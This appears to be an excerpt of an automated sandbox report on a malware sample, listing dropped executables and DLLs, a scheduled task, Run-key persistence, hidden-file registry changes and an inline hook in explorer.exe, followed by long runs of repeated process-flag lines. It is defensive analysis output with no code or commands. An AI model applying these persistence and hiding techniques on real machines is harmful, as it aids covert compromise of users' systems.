Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	File created: C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	File created: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	File created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6B1D.tmp.update.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\_bz2.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe

File created: C:\Windows\Tasks\Gxtuum.job

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Services			Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Services			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Changes the view of files in windows explorer (hidden files and folders)

Source: C:\Windows\System32\audiodg.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced Hidden

Jump to behavior

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: KERNEL32.DLL function: CreateProcessInternalW new code: 0xE9 0x90 0x00 0x07 0x75 0x5F

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5B5590 LoadLibraryA,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_0C5B5590

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
